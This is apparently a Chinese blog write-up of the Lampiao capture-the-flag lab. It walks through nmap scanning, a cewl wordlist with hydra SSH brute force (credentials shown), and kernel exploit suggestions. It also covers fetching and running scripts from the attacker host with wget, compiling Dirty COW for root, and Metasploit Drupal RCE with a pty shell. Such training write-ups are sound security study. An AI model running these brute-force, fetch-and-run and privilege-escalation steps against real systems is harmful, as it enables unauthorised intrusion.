Lampiao

第二个渗透靶机

靶机为NAT模式,Kali2022也是NAT模式

信息收集

一开始依然是信息收集,看一下kali本机的ip,依然是192.168.4.130,用nmap扫描一下存活主机:nmap -sn 192.168.4.0/24,排除一下发现本次靶机的ip为192.168.4.131

接着对靶机的端口进行扫描,看存在哪些端口,直接全端口扫描:nmap -p 1-65535 192.168.4.131

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -p 1-65535 192.168.4.131
Starting Nmap 7.92 ( https://nmap.org ) at 2026-02-23 01:55 EST
Nmap scan report for 192.168.4.131
Host is up (0.0016s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1898/tcp open cymtec-port

发现开放了22、80、1898 三个端口,个人习惯于先从80 端口下手,因为是web服务,访问发现是一堆乱码。F12查看源码没发现啥有用信息,再尝试用dirsearch御剑 扫描也没发现什么信息。这里我犯了一个很愚蠢的错误,以为1898端口是个没用的端口,就没去管了。渗透测试的信息收集应该要不放过任何可能有用的信息。要不停的尝试,枚举。

1898端口也是一个web服务,访问它去找一些信息:http://192.168.4.131:1898/?q=node/2,告知了存在audio.m4a;qrc.png

直接可以url访问:http://192.168.4.131:1898/audio.m4a ,是一段录音,仔细听发现说的是user tiago 相当于是告诉了我们用户名,另外访问http://192.168.4.131:1898/qrc.png,是一个二维码,扫描发现提示信息:try harder!muahuahua

这里拿到一个用户名,应该再所有可能登录的地方都暴破一下,比如1898端口的这个web服务的登录口,以及我们22端口的ssh服务。

当然看最终的wp发现这里的字典非常巧妙,用到了cewl这个工具来通过信息收集生成字典。这个思路和之前打的DC靶机有点像。

关于cewl工具的介绍:cewl是一款基于Ruby开发的字典生成工具,常用于从指定URL爬取内容并生成密码破解字典。它支持多种功能,包括设置爬取深度、生成特定长度的字典、提取Email地址、统计单词重复次数等。

这里直接cewl http://192.168.4.131:1898/?q=node/1 -w keyword.txt ,爬取网站内容并输出成字典keyword.txt,然后再利用这个字典进行22端口ssh密码爆破,用户名是前面获取的tiago

爆破ssh密码用到的工具依然是上一个靶机提到的hydra ,命令为:hydra -l tiago -P keyword.txt 192.168.4.131 -s 22 ssh

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -l tiago -P keyword.txt 192.168.4.131 -s 22 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-23 02:11:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 844 login tries (l:1/p:844), ~53 tries per task
[DATA] attacking ssh://192.168.4.131:22/
[22][ssh] host: 192.168.4.131 login: tiago password: Virgulino
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-23 02:12:08

得到tiago/Virgulino,用ssh可以成功登录上去。

Lampiao1

内核提权

拿到的tiago是一个普通用户的权限,我们希望拿到root的权限,这里用到了一个脚本linux suggest exploit,类似于一个fuzz脚本,判断可能可以利用的内核提权漏洞。谷歌搜索一下,把脚本下载到kali2022上面,然后kali 2022起一个web服务,靶机用wget来从kali上面进行下载。

需要注意的是,这里是把linux.sh下载到/tmp目录下面,然后再赋予写权限:cd /tmp ; wget http://192.168.4.130:9999/linux.sh; ./linux.sh ,执行结果发现有很多可能可以利用的角度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
tiago@lampiao:/tmp$ ./linux.sh 

Available information:

Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

86 kernel space exploits
50 user space exploits

Possible Exploits:

[+] [CVE-2017-16995] eBPF_verifier

Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Exposure: highly probable
Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,[ ubuntu=14.04 ]{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic}
Download URL: https://www.exploit-db.com/download/45010
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2017-1000112] NETIF_F_UFO

Details: http://www.openwall.com/lists/oss-security/2017/08/13/1
Exposure: highly probable
Tags: [ ubuntu=14.04{kernel:4.4.0-*} ],ubuntu=16.04{kernel:4.8.0-*}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c
Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels

[+] [CVE-2016-8655] chocobo_root

Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
Exposure: highly probable
Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
Download URL: https://www.exploit-db.com/download/40871
Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled

[+] [CVE-2016-5195] dirtycow

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2021-4034] PwnKit

Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2017-6074] dccp

Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
Exposure: probable
Tags: [ ubuntu=(14.04|16.04) ]{kernel:4.4.0-62-generic}
Download URL: https://www.exploit-db.com/download/41458
Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2016-2384] usb-midi

Details: https://xairy.github.io/blog/2016/cve-2016-2384
Exposure: probable
Tags: [ ubuntu=14.04 ],fedora=22
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2015-3202] fuse (fusermount)

Details: http://seclists.org/oss-sec/2015/q2/520
Exposure: probable
Tags: debian=7.0|8.0,[ ubuntu=* ]
Download URL: https://www.exploit-db.com/download/37089
Comments: Needs cron or system admin interaction

[+] [CVE-2015-1318] newpid (apport)

Details: http://openwall.com/lists/oss-security/2015/04/14/4
Exposure: probable
Tags: [ ubuntu=14.04 ]
Download URL: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
Exposure: less probable
Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2022-2586] nft_object UAF

Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-3156] sudo Baron Samedit

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-18634] sudo pwfeedback

Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2017-7308] af_packet

Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154

[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE

Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
Exposure: less probable
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c
Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only

[+] [CVE-2016-4557] double-fdput()

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2015-1318] newpid (apport) 2

Details: http://openwall.com/lists/oss-security/2015/04/14/4
Exposure: less probable
Tags: ubuntu=14.04.2
Download URL: https://www.exploit-db.com/download/36782

[+] [CVE-2016-0728] keyring

Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/40003
Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working

按照渗透的思想,就应该一个一个去枚举,去尝试,这里最后利用的脏牛漏洞来提权,即

1
2
3
4
5
6
7
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

编号是40847,我们可以直接在kali里面找到这个脚本,searchsploit 40847

Lampiao2

路径/usr/share/exploitdb/exploits/linux/local/40847.cpp,这是一个c++文件,肯定是要编译了才能运行的。我们可以上网搜一下怎么编译利用。google搜索一下关键字40847 exploit找到

Lampiao3

第一行就是编译命令:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil ,所以我们用同样的手法,把kali2022的40847.cpp文件下载到靶机的tmp目录下面, 然后赋予执行权限。接着编译,运行即可:

Lampiao4

运行编译好的提权文件就可以拿到root的密码。然后以root的身份ssh连过去就OK了。(注意我这里是把40847.cpp放到了kali的桌面上,然后再桌面上面起的web服务)

拿www-data权限

说完了拿root的账号密码,这里其实还有一个利用的地方,就是拿1898 这个端口web服务的www-data权限。通过这个学习了一下xray的被动扫描模式的使用方式。只是很可惜我这里并没有通过xray扫描出drupal的漏洞。但其实poc里面是有这个版本(poc-yaml-drupal-cve-2018-7600-rce)的漏洞的。具体原因我也没找到…..

这里就利用kali的msf来复现一下吧,就当作已知存在该版本的漏洞,具体使用方式如下:

1
2
3
4
5
6
7
8
step 1: msfconsole
step 2: search drupal
step 3: use 1 //2018那个版本的漏洞
step 4: show opthions
step 5: set RHOSTS 192.168.4.131
step 6: set RPORT 1898
step 7: run
拿到的是 metepreter,接着执行shell,再接着通过python拿到一个ttl: python -c 'import pty;pty.spawn("/bin/bash")'

如下图所示:

Lampiao5

Lampiao6

另外通过msf拿到的meterpreter 是msf框架的 “shell” ,它有自己单独的一些命令体系,比如upload、download、systeminfo等等。它本身不是原系统的shell命令体系,所以很多命令比如id,whoami啥的就执行不了,所以需要运行一个shell命令来关联原系统的shell 。另外直接一个shell会发现交互很不方便,于是可以通过python来运行一个tty伪终端:python -c 'import pty;pty.spawn("/bin/bash")' ,当然这个前提是得有python环境。